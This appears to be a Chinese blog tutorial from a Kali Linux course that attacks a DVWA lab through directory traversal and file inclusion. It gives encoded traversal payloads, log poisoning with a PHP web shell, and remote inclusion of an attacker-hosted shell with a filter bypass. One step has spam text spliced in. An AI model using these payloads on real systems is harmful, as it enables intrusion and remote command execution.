Kali Linux渗透测试 087 手动漏洞挖掘-目录遍历、文件包含漏洞

本文记录 Kali Linux 2018.1 学习使用和渗透测试的详细过程,教程为安全牛课堂里的《Kali Linux 渗透测试》课程

Kali Linux渗透测试(苑房弘)博客记录

1. 目录遍历和文件包含
    1-1. 两种漏洞放在一起进行测试
    1-2. 设置 dvwa 可以进行远程文件包含测试
    1-3. 漏洞特征
    1-4. 经典测试方法
    1-5. 绕过字符过滤
    1-6. cookie 注入目录遍历
    1-7. 本地文件包含
    1-8. 远程文件包含
2. 漏洞利用
3. 权限配置不当引起的本地文件包含漏洞
4. 远程文件包含漏洞
    4-1. dvwa测试 Low 级别下的源代码
    4-2. dvwa测试 Medium 级别下的源代码
    4-3. dvwa测试 High 级别下的源代码
    4-4. 远程文件包含漏洞的危害
5. kali 自带攻击向量的字典文件

1. 目录遍历和文件包含


1. 两种漏洞放在一起进行测试

kali linux 2018.1 : 10.10.10.131
dvwa:10.10.10.132
原理一样,放在一起进行测试

2. 设置 dvwa 可以进行远程文件包含测试

root@metasploitable:~# vim /etc/php5/cgi/php.ini       
    ; Whether to allow include/require to open URLs (like http:// or ftp://) as files.
    allow_url_include = On
root@metasploitable:~# /etc/init.d/apache2 restart

3. 漏洞特征

  • 应用程序操作文件,限制不严时导致访问Web目录以外的文件,包括读写文件和远程执行代码

  • 特征但不绝对:

     ?page=a.php
     ?home=b.html
     ?file=content
    

4. 经典测试方法

5. 绕过字符过滤

  • “.” “%00” #绕过文件扩展名过滤

    • ?file=a.doc%00.php
  • 使用多种编码尝试

  • url 编码或者进行双层甚至三层 url 编码

    • %2e%2e%2f 解码 ../
    • %2e%2e%5c 解码 ..\
    • %252e%252e%255c 解码 ..\
  • Unicode/UTF-8 解码

    • ..%c0%af ?????? ../
    • ..%u2216
    • ..%c1%9c ?????? ..\
  • 其他系统路径可能使用的字符

    • file.txt…
    • file.txt
    • file.txt””””
    • file.txt<<<>>><
    • ./././file.txt
    • nonexistant/../file.txt
  • UNC路径

    • \1.1.1.1\path\to\file.txt
  • 代码

  • 攻击

  • 结果

6. 本地文件包含

  • 查看文件
  • 代码执行

7. 远程文件包含

  • 远程文件包含

    • 出现概率少于本地文件包含,但是更容易被利用
  • /usr/share/wfuzz/wordlist/vulns/

2. 漏洞利用


  1. 默认的文件包含漏洞的 URL 地址:

    http://10.10.10.132/dvwa/vulnerabilities/fi/?page=include.php
    
  2. 可以使用 “?page=../../../../../../../etc/passwd”

    http://10.10.10.132/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/passwd
    

  3. 文件包含漏洞可以使用绝对路径“?page=/etc/passwd”

    http://10.10.10.132/dvwa/vulnerabilities/fi/?page=/etc/passwd
    

  4. 使用系统文件路径“?page=file:///etc/passwd”

    http://10.10.10.132/dvwa/vulnerabilities/fi/?page=file:///etc/passwd
    

  5. 远程目录遍历 “?page=http://www.sina.com

    http://10.10.10.132/dvwa/vulnerabilities/fi/?page=http://www.sina.com
    

  6. 可以使用反弹 shell 的方式 “page=http://www.a.com/1.php

  7. 绕过字符过滤 “?page=file:///etc/passwd%00”

    http://10.10.10.132/dvwa/vulnerabilities/fi/?page=file:///etc/passwd%00
    
  8. 绕过字符过滤 “%2e%2e%2f” 代替“../”

    10.10.10.132/dvwa/vulnerabilities/fi/?page=..%2f..%2f..%2f..%2f..%2fetc/passwdaa
    


3. 权限配置不当引起的本地文件包含漏洞


  1. 修改 dvwa 的 access.log 权限,使其错误配置系统权限

    root@metasploitable:/var/log/apache2# chmod a+rx access.log
    root@metasploitable:/var/log# chmod a+rx apache2
    root@metasploitable:/var# chmod a+rx log
    root@metasploitable:/# chmod a+rx var
    
  2. 使用 nc 插入代码

    root@kali:~/Desktop# nc -nv 10.10.10.132 80
    (UNKNOWN) [10.10.10.132] 80 (http) open
    <?php echo shell_exec($_GET['cmd']);?>
    
  3. 浏览器测试

    http://10.10.10.132/dvwa/vulnerabilities/fi/?page=/var/log/apache2/access.log
    

    http://10.10.10.132/dvwa/vulnerabilities/fi/?cmd=id&page=/var/log/apache2/access.log
    

    http://10.10.10.132/dvwa/vulnerabilities/fi/?cmd=pwd&page=/var/log/apache2/access.log
    

    hp index.php 
    

    http://10.10.10.132/dvwa/vulnerabilities/fi/?page=/var/log/apache2/access.log&cmd=id
    

4. 远程文件包含漏洞


1. dvwa测试 Low 级别下的源代码

  1. kali 本机监听 80 端口

    root@kali:~# nc -nvlp 80
    listening on [any] 80 ...
    
  2. kali 浏览器 随便指定一个URL,IP地址为kali 本机

    10.10.10.132/dvwa/vulnerabilities/fi/?page=http://10.10.10.131/a.php
    
  3. nc 接收到请求

    connect to [10.10.10.131] from (UNKNOWN) [10.10.10.132] 36129
    GET /a.php HTTP/1.0
    Host: 10.10.10.131
    
  4. 查看 dvwa Low 级别下的源代码

    <?php
        $file = $_GET['page']; //The page we wish to display 
    ?> 
    

2. dvwa测试 Medium 级别下的源代码

  1. kali 本机监听 80 端口

    root@kali:~# nc -nvlp 80
    listening on [any] 80 ...
    
  2. kali 浏览器 随便指定一个URL,IP地址为kali 本机

    10.10.10.132/dvwa/vulnerabilities/fi/?page=http://10.10.10.131/a.php
    
  3. nc 接收到请求

    未接收到请求
    

  4. 查看 dvwa Medium 级别下的源代码,发现被过滤

     <?php
        $file = $_GET['page']; // The page we wish to display 
        // Bad input validation
        $file = str_replace("http://", "", $file);
        $file = str_replace("https://", "", $file);        
    ?>
    
  5. 编码中是将 http:// 过滤为空字符(即删除)

    可以利用此机制,使用两次 http:// ,将第二次插入到 http:// 中间
    将 http:// 换位 htthttp://p://
    
  6. kaili.org快来领取随便指定 URL,IP地址为kali 本机

    http://10.10.10.132/dvwa/vulnerabilities/fi/?page=hthttp://tp://10.10.10.131/
    
  7. nc 接收到请求

    root@kali:~# nc -nvlp 80
    listening on [any] 80 ...
    connect to [10.10.10.131] from (UNKNOWN) [10.10.10.132] 55014
    GET / HTTP/1.0
    Host: 10.10.10.131
    

3. dvwa测试 High 级别下的源代码

  1. 正确的代码 URL为

    10.10.10.132/dvwa/vulnerabilities/fi/?page=include.php      
    
  2. 查看 dvwa High 级别下的源代码

     <?php   
        $file = $_GET['page']; //The page we wish to display 
        // Only allow include.php
        if ( $file != "include.php" ) {
            echo "ERROR: File not found!";
            exit;
        }  
    ?> 
    

4. 远程文件包含漏洞的危害

  • 在 kali 创建 文件,dvwa 在 Medium情况下

    root@kali:/var/www/html# cat test.txt 
    <?php echo shell_exec($_GET['cmd']);?>
    
  • kali 启动 apache2

    root@kali:/var/www/html# systemctl start apache2.service
    
  • kali 浏览器

    10.10.10.132/dvwa/vulnerabilities/fi/?page=htthttp://p://10.10.10.131/test.txt&cmd=pwd
    

  • kali 浏览器

    http://10.10.10.132/dvwa/vulnerabilities/fi/?page=htthttp://p://10.10.10.131/test.txt&cmd=id
    

5. kali 自带攻击向量的字典文件


位置:

/usr/share/wfuzz/wordlist/
/usr/share/wfuzz/wordlist/vulns/


  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
提供的源码资源涵盖了Java应用等多个领域,每个领域都包含了丰富的实例和项目。这些源码都是基于各自平台的最新技术和标准编写,确保了在对应环境下能够无缝运行。同时,源码中配备了详细的注释和文档,帮助用户快速理解代码结构和实现逻辑。 适用人群: 适合毕业设计、课程设计作业。这些源码资源特别适合大学生群体。无论你是计算机相关专业的学生,还是对其他领域编程感兴趣的学生,这些资源都能为你提供宝贵的学习和实践机会。通过学习和运行这些源码,你可以掌握各平台开发的基础知识,提升编程能力和项目实战经验。 使用场景及目标: 在学习阶段,你可以利用这些源码资源进行课程实践、课外项目或毕业设计。通过分析和运行源码,你将深入了解各平台开发的技术细节和最佳实践,逐步培养起自己的项目开发和问题解决能力。此外,在求职或创业过程中,具备跨平台开发能力的大学生将更具竞争力。 其他说明: 为了确保源码资源的可运行性和易用性,特别注意了以下几点:首先,每份源码都提供了详细的运行环境和依赖说明,确保用户能够轻松搭建起开发环境;其次,源码中的注释和文档都非常完善,方便用户快速上手和理解代码;最后,我会定期更新这些源码资源,以适应各平台技术的最新发展和市场需求。 所有源码均经过严格测试,可以直接运行,可以放心下载使用。有任何使用问题欢迎随时与博主沟通,第一时间进行解答!
Kali Linux是一种专门用于渗透测试和网络安全的操作系统。它集成了大量的渗透测试工具和资源,使得安全专业人员能够有效地评估和保护网络系统的安全性。 Kali Linux提供了多种渗透测试靶机,用于练习和测试渗透测试技术。这些靶机模拟了真实世界中的各种漏洞和攻击场景,帮助安全专业人员熟悉和理解不同类型的漏洞,并学习如何利用它们。 以下是一些常见的Kali Linux渗透测试靶机: 1. Metasploitable:Metasploitable是一个故意构建的易受攻击的虚拟机,它包含了多个漏洞和弱点,可以用于学习和实践Metasploit框架的使用。 2. DVWA(Damn Vulnerable Web Application):DVWA是一个故意构建的Web应用程序,包含了多个常见的Web漏洞,如SQL注入、XSS等,可以用于学习和实践Web应用程序渗透测试技术。 3. OWASP Mutillidae II:Mutillidae II是一个故意构建的Web应用程序,旨在模拟真实世界中的各种Web漏洞和攻击场景,包括SQL注入、文件包含等。 4. Hack The Box:Hack The Box是一个在线平台,提供了一系列的渗透测试靶机,每个靶机都有不同的漏洞和挑战,可以用于测试和提高渗透测试技能。 这些渗透测试靶机都可以在Kali Linux上进行安装和使用。通过实践和探索这些靶机,安全专业人员可以提高他们的渗透测试技能,并了解如何保护网络系统免受各种攻击。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值